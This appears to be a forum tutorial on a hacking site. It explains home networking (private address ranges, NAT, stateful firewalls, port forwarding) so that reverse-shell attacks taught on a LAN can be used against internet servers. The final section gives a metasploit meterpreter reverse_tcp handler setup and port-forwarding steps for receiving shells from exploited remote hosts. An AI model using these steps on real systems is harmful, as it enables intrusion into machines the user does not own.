I've been reading articles on this site for quite a while now and the number of great tutorials has always amazed me so I thought I'd try and contribute in some way. One of the recurring comments I see on posts are related to basic networking concept. The question often asked is "How do I perform this hack over the public internet?" and I thought that it might be worthwhile writing a guide to basic networking to help answer that question. This post will aim to provide the basic concepts of networking related to the LAN and how to overcome the issues with taking a basic tutorial and adapting it to work over the public internet.
Disclaimer: It is illegal to hack or exploit any device, service, application etc that you do not have explicit permission to do so. This tutorial is for home/lab use only and should not be used for malicious purposes.
I think it is fair to say that the basic home network isn't so basic anymore. Most people have a number of devices attached to their home network via WiFi or wired connection. most of us have an ISP router whether it be cable or ADSL and that device can provide multiple functions, most basic of all our connectivity to the internet.
The picture below (excuse the nature of the picture) depicts a basic home LAN setup:
As we can see above, our local network has an IP subnet address assigned of 192.168.1.0/24. Without going into too much detail the LAN is given an address range of 192.168.1.0 - 192.168.1.255 with ".0" being the network address and ".255" being the broadcast address so they cannot be used to address hosts. The IP addresses 192.168.1.1-192.168.1.254 can be used for our connected devices.
There are a number of subnet addresses (defined in RFC1918) that are reserved for home use and will never be routed (seen) on the public internet. These address ranges are:
172.16.0.0 - 172.31.255.255
The home router is usually assigned ".1" or ".254" but this doesn't necessarily have to be the case and any address from our assigned IP subnet range could be used. Another basic concept and I apologize for saying it, is that the same address cannot be used twice on our LAN or we will see duplicate address issues.
Most "users" of a home network will never notice the functionality provided by our ISP router but they are usually equipped to do more than just route us to the internet. The key concepts to understand are firewalling and network address translation.
Network Address translation (NAT) allows us to route our private home addressing (the addresses I mentioned would never be seen on the internet) and public IP addressing that is used to provide us access to web, email and other servers on the inter-web.
NAT in its basic form and how it is normally configured on our home routers will use a configuration method that translates our whole 192.168.1.0/24 range to the public IP address assigned to our routers WAN (internet facing) interface or port. This method allows many outgoing connections to be translated to the single public IP address assigned but will not in its basic configuration allow incoming connections to our home devices that haven't originated from one of our home devices. The diagram below tries to show this:
So, the diagram above shows the IP addresses assigned to our home devices and the public IP address of 220.127.116.11 assigned to our router interface attached to the internet.
Let's pretend that 192.168.1.5 (our home laptop) wants to browse to google. We open our browser and type in the URL then our laptop performs a DNS request to to the google DNS server (if that is the DNS server you have configured in your IP settings or in your routers IP/DHCP settings (DHCP performs dynamic address assignments for your client machines, we can discuss it in more detail later if needed). The DNS server will return the IP address for google dot com and then we start a new session to 18.104.22.168. The DNS server and web server never see the 192.168.1.5 address of your laptop but they see the request originate from the router IP 22.214.171.124 not 192.168.1.5. the router will hold a table of established sessions so that the the return connection is allowed through the router based on previous knowledge of the session, this is called a stateful connection. If a connection originated from the internet and its destination was our internal IP address this would fail as the internal addresses are not unique like public IP addresses and would never be routed on the internet anyway and there is no prior knowledge in the state table of the connection. When I was a young lad we didn't have firewalls but we used routers to perform the NAT function, these days the NAT function and firewalling are largely consolidated on home routers.
Port forwarding is really another term for Port address translation (PAT). This is very similar to NAT but we are actually being specific about which TCP or UDP ports we want to allow through our router (or firewall). Up until now we just assumed that fairy dust and unicorns allowed us to get to the internet through our router and magic stopped us from getting attacked by malicious hackers on the internet (forget client-side attacks for the moment and step back a second). If we wanted to allow a device to initiate a connection, lets assume FTP to transfer a file to our laptop, we need to specifically allow that connection. How do we do that? Well, we need to tell our router t0 map TCP port 21 (FTP) to our internal machine. But that can't happen I hear you shout, because our internal IP network can't be seen on the internet. The answer is, it doesn't need to. Our router knows about the internal network and it has a public IP that is visible on the internet, so let's just map TCP port 21 on our routers public IP address to the same port on our internal machines IP address. If you need to do this I would google port forward configuration for your router model. You will usually see the following fields:
local port (port of the service on your local machine)
external/remote port (port you want the public internet to see)
The external and internal ports don't have to match but for this example we will assume they do. The diagram below shows the translation:
So now we have forwarded and allowed TCP port 21 to our public address to translate to our internal host 192.168.1.5 on the same port. This has effectively opened up a whole in your router to that device on that host, make sure you are not running vulnerable FTP software and/or have weak or anonymous credentials configured.
Once again let us imagine we have found an exploit on a service or application and want to gain a reverse shell from the exploitable server to our metasploit listener running on Kali or similar. The well known, default metasploit port of 4444 is running a reverse TCP handler as advised in numerous tutorials. The tutorial explained how to do this on our local LAN e.g. 192.168.1.5 to 192.168.1.100. This is great, I can follow the tutorial and it works with the same version of software I have found on the internet. Unfortunately when I attack the internet based server the exploit succeeds but I don't receive a reverse shell. This is where you need to configure metasploit with the external connection details and create your port forward.
What you need to do:
- Create the port forward on your router i.e. TCP port 4444 > internal IP address on the same port
- Configure your metasploit handler as follows:
set payload winows/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
set EXITONSESSION false
exploit -j -z
- Make sure your exploit script references the your public IP address and port rather than your internal IP
- Trigger your exploit and wait for the reverse shell!!!
This is a basic overview and I am happy to provide further tutorials with more detail on specific topics. Please note that your external IP address may change on a regular basis and you will need to use a dynamic DNS service that updates a DNS name to your public IP address as and when it changes, No-IP provide a great service and it is easy to use and configure, I'm sure people have other DDNS provider recommendations. If you use DDNS you can reference the DNS name rather than your public router IP in LHOST, script and MSFVENOM configurations.